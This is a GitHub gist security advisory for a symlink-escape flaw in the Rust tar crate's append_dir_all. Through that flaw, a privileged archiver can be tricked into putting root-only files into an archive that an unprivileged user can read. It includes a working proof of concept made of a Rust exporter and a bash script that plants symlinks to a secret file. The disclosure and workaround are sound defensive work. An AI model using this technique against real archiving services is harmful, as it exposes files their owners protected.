Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active August 7, 2026 16:53
Show Gist options
  • Select an option

  • Save thesmartshadow/e7dac0bb690ee17b9cc142154cb11726 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/e7dac0bb690ee17b9cc142154cb11726 to your computer and use it in GitHub Desktop.
CVE-2026-70622 - tar-rs `Builder::append_dir_all` symlink escape allows privileged out-of-root file disclosure

Summary

tar::Builder::append_dir_all() follows symlinks by default (follow = true). That behavior is documented, but the security issue is that dereferenced symlink targets are not checked against the source root passed to append_dir_all().

The function uses src_path as the logical archive boundary when building entry names:

let dest = path.join(src.strip_prefix(src_path).unwrap());

but when reading from the filesystem, it follows symlinks through src.is_dir(), fs::read_dir(), fs::metadata(), and fs::File::open() without verifying that the resolved target still belongs to src_path.

This creates the core mismatch:

archive names are confined to src_path, but file reads are not.

Affected Versions

Affected: 0.4.11 through 0.4.46 inclusive
Patched: none
Current main: still affected as of 2c19ee2fbd01a306127e027cb05a02568ccda1b3

The range comes from the project history rather than guesswork:

  • Builder::append_dir_all() was added in a25da58f28f9e1648fe6bab46026c7ef412b1ebf on 2017-02-11 and merged before the 0.4.11 release. 0.4.10 predates the API.
  • 0.4.11 was released on 2017-03-31, making it the first affected release.
  • follow_symlinks(false) was added later in 52a6f0f8833367771225bd9b742e6453eee1faac on 2017-06-30. It added an opt-out; the default remained symlink following.
  • 0.4.46 was released on 2026-05-18. The preceding builder change 1b4997cf5ef115f8d82680016c28490b5645b9c7 was documentation-only and explicitly kept the existing behavior for compatibility.
  • No release or main commit after that adds source-root confinement to append_dir_all() or changes the default away from symlink following.

Relevant history:

Affected Code

All references below are pinned to commit:

2349b494827807791473f3c6ca9b2fc5ef274cdb

Default symlink following

Builder::new() sets follow: true by default:

https://github.com/alexcrichton/tar-rs/blob/2349b494827807791473f3c6ca9b2fc5ef274cdb/src/builder.rs#L35-L46

Documentation confirms dereference behavior

follow_symlinks() states that symlink dereferencing defaults to true and compares the behavior to GNU tar --dereference / -h:

https://github.com/alexcrichton/tar-rs/blob/2349b494827807791473f3c6ca9b2fc5ef274cdb/src/builder.rs#L60-L67

Missing boundary check in append_dir_all

The vulnerable flow is in append_dir_all():

https://github.com/alexcrichton/tar-rs/blob/2349b494827807791473f3c6ca9b2fc5ef274cdb/src/builder.rs#L920-L963

In this code path:

let dest = path.join(src.strip_prefix(src_path).unwrap());

confines the archive entry name to src_path.

However, dereference mode then follows symlinks for filesystem reads:

if is_dir || (is_symlink && options.follow && src.is_dir()) {
    for entry in fs::read_dir(&src)? {

and:

let stat = fs::metadata(&src)?;
// ...
append_file(dst, &dest, &mut fs::File::open(src)?, options)?;

There is no check that the resolved symlink target remains inside the original src_path.

Impact

An attacker who controls a directory archived by append_dir_all() can plant symlinks pointing outside that directory. The resulting archive can contain the target contents as normal files.

If the archiver runs with higher privileges than the attacker, this becomes a confused-deputy / privileged file disclosure issue: the attacker receives files they cannot read directly.

This is not about symlink dereference existing as a feature. The issue is dereference happening without root confinement.

Realistic affected patterns include:

  • workspace export features
  • backup jobs
  • CI artifact packaging
  • build systems that package user-controlled directories
  • services that archive user-uploaded or user-writable trees

Proof of Concept

Scenario

root/                 <- directory passed to append_dir_all()
  leak.txt -> /tmp/ghsa_privdir/secret.txt

/tmp/ghsa_privdir/secret.txt
  owned by root
  mode 0400

The unprivileged user cannot read the file directly:

cat /tmp/ghsa_privdir/secret.txt
# Permission denied

Privileged archiver

A privileged export worker runs the normal tar-rs flow:

let f = File::create("/tmp/ghsa_export.tar")?;
let mut b = tar::Builder::new(f);

// default: follow_symlinks(true)
b.append_dir_all("", user_controlled_root)?;
b.finish()?;

Result

The unprivileged user can read the root-only file from the generated archive:

tar -xOf /tmp/ghsa_export.tar leak.txt
ROOT_ONLY_SECRET_1776952887

This proves that append_dir_all() can turn a symlink inside an attacker-controlled tree into a read of a privileged out-of-root file.

A directory symlink also works:

ln -s /tmp/ghsa_privdir "$WORK/escape_dir"
tar -xOf /tmp/ghsa_export.tar escape_dir/secret.txt
ROOT_ONLY_SECRET_1776952887

That means one planted directory symlink can expose an external readable tree, not only a single known file.

Why this belongs in tar-rs

The downstream wrapper does not introduce a project-specific bug. The vulnerable pattern is only:

Builder::new(writer).append_dir_all("", user_controlled_root)

The root cause is in tar-rs: src_path is enforced for archive entry naming, but not for filesystem reads after symlink resolution.

Compatibility may affect how the behavior is fixed, but it does not make the issue downstream-only. Affected users still need a crate-level security signal telling them not to use the default behavior for untrusted source trees.

Workaround

Callers archiving untrusted trees should disable symlink following:

let mut b = tar::Builder::new(writer);
b.follow_symlinks(false);
b.append_dir_all("", untrusted_root)?;
b.finish()?;

With follow_symlinks(false), symlinks are stored as symlink entries instead of being read through and embedded as regular files.

use std::{env, fs, fs::File, io, path::PathBuf};
use tar::Builder;
#[cfg(unix)]
use std::os::unix::fs::PermissionsExt;
fn main() -> io::Result<()> {
let mut args = env::args_os().skip(1);
let src_root = PathBuf::from(
args.next()
.expect("usage: ghsa_privileged_export <src_root> <out_tar>"),
);
let out_tar = PathBuf::from(
args.next()
.expect("usage: ghsa_privileged_export <src_root> <out_tar>"),
);
let file = File::create(&out_tar)?;
let mut builder = Builder::new(file);
// Intentionally rely on the tar-rs default:
// Builder::new(...) sets follow_symlinks(true).
builder.append_dir_all("", &src_root)?;
builder.finish()?;
// Simulate an export/download endpoint returning a readable archive
// to the less-privileged user who supplied the source tree.
#[cfg(unix)]
fs::set_permissions(&out_tar, fs::Permissions::from_mode(0o644))?;
eprintln!("wrote tar: {}", out_tar.display());
Ok(())
}
#!/usr/bin/env bash
set -euo pipefail
echo "[1/2] Running baseline PoC"
cargo run --example ghsa_symlink_leak
echo
echo "[2/2] Running privileged export PoC"
sudo rm -rf /tmp/ghsa_privdir
sudo mkdir -p /tmp/ghsa_privdir
sudo sh -c 'printf "ROOT_ONLY_SECRET_%s\n" "$(date +%s)" > /tmp/ghsa_privdir/secret.txt'
sudo chown -R root:root /tmp/ghsa_privdir
sudo chmod 0700 /tmp/ghsa_privdir
sudo chmod 0400 /tmp/ghsa_privdir/secret.txt
echo "Direct read as current user should fail:"
if cat /tmp/ghsa_privdir/secret.txt 2>/tmp/ghsa_cat_error.log; then
echo "unexpected: current user could read secret directly"
exit 1
else
cat /tmp/ghsa_cat_error.log
fi
WORK="$(mktemp -d /tmp/ghsa_workspace.XXXXXX)"
OUT="/tmp/ghsa_export.tar"
ln -s /tmp/ghsa_privdir/secret.txt "$WORK/leak.txt"
ln -s /tmp/ghsa_privdir "$WORK/escape_dir"
sudo cargo run --example ghsa_privileged_export -- "$WORK" "$OUT"
echo "Reading root-only data from archive:"
tar -xOf "$OUT" leak.txt
tar -xOf "$OUT" escape_dir/secret.txt
echo
echo "workspace: $WORK"
echo "archive: $OUT"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment